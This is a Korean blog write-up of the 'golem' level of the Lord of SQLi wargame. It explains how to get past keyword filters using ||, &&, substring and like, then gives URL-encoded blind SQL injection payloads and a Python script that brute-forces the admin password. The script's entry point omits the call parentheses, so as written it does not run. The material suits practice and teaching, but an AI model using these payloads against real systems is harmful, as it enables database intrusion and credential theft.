티스토리 뷰

보안/Wargame

[Lord of SQLi] golem Writeup/문제풀이

돔돔이부하 2021. 8. 16. 17:43
728x90
반응형

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");

pw 파라미터에 대한 필터링으로는 위와 같습니다. prob, _, ., (, ), or, and, substr(, = 문자열들이 필터링되어 있습니다. 모두 대소문자 구분을 하고 있습니다. 다만 특이한 건 substr 문자열을 필터링하는 것이 아니라 substr( 문자열을 필터링하고 있습니다. 이렇게 되면 substr() 은 안되겠지만 substring()은 된다는 의미인데 말이죠. mysql에서는 substr 과 substring 모두 사용 가능합니다.

 

$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

그리고 다음 코드를 보시면 pw 파라미터에 입력한 내용이 query 변수에 문자열로 포함되어지고 완성된 query 문이 실행되고, 결과로써 id가 존재하면 Hello 아이디 문자열이 출력됩니다. 그리고 이 코드에서는 밑의 코드에서 나오는 addslashes 함수 이전이기 때문에 sql injection 이 가능한 코드인 것도 알 수 있습니다.

 

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");

그리고 여기서부터는 addslahes 함수로 인해 sql injection 에 사용된 특수문자들이 백슬래시가 붙어 필터링이 되게 됩니다. query문을 보시다시피 pw 파라미터에 입력된 패스워드 값이 admin 의 pw 값과 정확히 일치해야지 golem 문제가 해결됨을 알 수 있습니다.

 

이전의 orge 문제와 동일하게 sql injection 에 취약한 위 코드로부터 admin 의 pw를 구하고, 정확한 pw 문자열을 확인 후 pw 파라미터에 pw를 입력하여 문제를 푸는 형식이 될 듯 합니다.

 

제약사항은 위에서 말했다 시피 or 과 and 그리고 substr( 문자열이 포함되지만 않으면 된다고 하니 아래와 같이 풀 수 있겠습니다. 아 추가로 = 문자열도 포함되서는 안됩니다. or 은 || 로, and 는 &&로, substr( 은 substring( 으로 바꿔서 사용해서 필터링을 우회할 수 있는데 =는 어떻게 해야할까요? 바로 like 가 있습니다. 잠깐 like 에 대해서 살펴보겠습니다.

mysql> select a.id from (select "admin" as id) as a where id like '%dmin';
+-------+
| id    |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

mysql> select a.id from (select "admin" as id) as a where id like '%dmi%';
+-------+
| id    |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

mysql> select a.id from (select "admin" as id) as a where id like 'admin';
+-------+
| id    |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

where 절 앞에 오는 query 문은 모두 id 컬럼에 admin 이라는 레코드를 만들기 위해서 존재하는 것이며 중요하게 봐야될 곳은 where 절 이후입니다. id like 'admin' 처럼 사용해서 id='admin' 과 동일한 효과를 낼 수 있다는 점이 바로 포인트입니다.

 

그렇기 때문에 pw 파라미터에 넣어서 표현해보자면 아래와 같이 할 수 있습니다.

pw=%27||id%20like%20%27admin%27%23

select id from prob_golem where id='guest' and pw=''||id like 'admin'#'

Hello admin

위에는 URL 인코딩하여 pw 파라미터에 '||id like 'admin'# 을 넣은 것입니다. query 결과는 중간의 것과 같으며 결과적으로 Hello admin 이 나왔습니다. 즉 like 를 이용한 id 가 admin 인 아이디를 찾는 것이 성공한 것입니다.

 

이제는 id가 admin 인 계정의 pw 길이를 구할 차례입니다. 여기서도 동일하게 length(pw)=1 과 같은 형태는 안되기 때문에 like를 이용해서 필터링을 우회해줍니다.

pw=%27||id%20like%20%27admin%27%26%26length(pw)%20like%208%23

select id from prob_golem where id='guest' and pw=''||id like 'admin'&&length(pw) like 8#'

Hello admin

마찬가지로 위에는 URL 인코딩하여 pw파라미터에 '||id like 'admin' && length(pw) like 8# 을 넣은 것입니다. query 결과로 id 가 admin 인 계정의 비밀번호는 8글자인 것 같습니다.

 

이제는 8글자인 비밀번호가 정확히 어떤 문자열인지 확인하기만 하면 되겠습니다.

pw=%27||id%20like%20%27admin%27%26%26ascii(substring(pw,1,1))%20like%2055%23

select id from prob_golem where id='guest' and pw=''||id like 'admin'&&ascii(substring(pw,1,1)) like 55#'

Hello admin

문자를 ascii 코드 값으로 변환하기 위해서 ascii 라는 함수를 사용했습니다. ord 라는 함수의 경우 위의 or 필터링으로 인해 사용하지 못하기 때문에 ascii 함수를 대신해서 사용했습니다. ascii와 ord 함수는 모두 동일한 기능을 하지만 멀티바이트 문자 처리 방식이 조금 다를 뿐인 함수입니다. 

 

substring 함수를 사용한 이유는 말씀드렸다시피 위에서 substr( 이 필터링되어 있기 때문에 substring 을 사용했습니다.

 

and 가 필터링되어 있어서 &&를 사용했습니다. 그리고 = 가 필터링되어 있어서 마찬가지로 like 를 사용했습니다. 물론 숫자 형태이기 때문에 < 나 > 를 사용해서 작은 지 큰 지 비교할 수도 있겠습니다.

 

위와 같이 substring(pw, 1, 1), substring(pw, 2, 1) ... substring(pw, 8, 1) 까지 패스워드 길이가 8이니깐 여덟번만 pw에 해당하는 문자를 찾으면 문제는 풀립니다. 해당 코드를 파이썬으로 작성해보았습니다. javascript 로 작성한 코드를 보고 싶으시다면 아래 orc 문제풀이 링크를 참고해주세요.

https://domdom.tistory.com/63?category=981717 

 

[Lord of SQLi] orc Writeup/문제 풀이

$_GET[pw] PHP 소스코드 상으로는 pw를 GET parameter 방식으로 받는다고 합니다. if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 그리고 pw에 prob 라는 단어가 포함되어 있거나, _(언더..

domdom.tistory.com

파이썬 코드는 아래와 같습니다.

import requests

def SQLI():
	url = "https://los.rubiya.kr/chall/golem_1.php?"
	headers = {
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
	}
	cookies = {
		'PHPSESSID':'세션 ID'
	}
	length = 8
	result = ""	

	# pw 구하기
	for i in range(1, length+1):
		for num in range(48, 123):
			param = "pw=%27%7C%7Cid%20like%20%27admin%27%26%26ascii(substring(pw,"+str(i)+",1))<"+str(num)+"%23"
			res = requests.get(url+param, headers=headers, cookies=cookies)
			if(res.text.find('<h2>Hello admin</h2>') != -1):
				result += chr(num-1)
				break
	print("[+] Result:", result)

if __name__ == '__main__':
	SQLI

실행하면 결과적으로 아래와 같이 비밀번호가 출력됩니다.

[+] Result: 77d6290b

해당 비밀번호를 pw 파라미터에 넣고 request 요청해보면 문제는 풀립니다.

 

728x90
반응형
댓글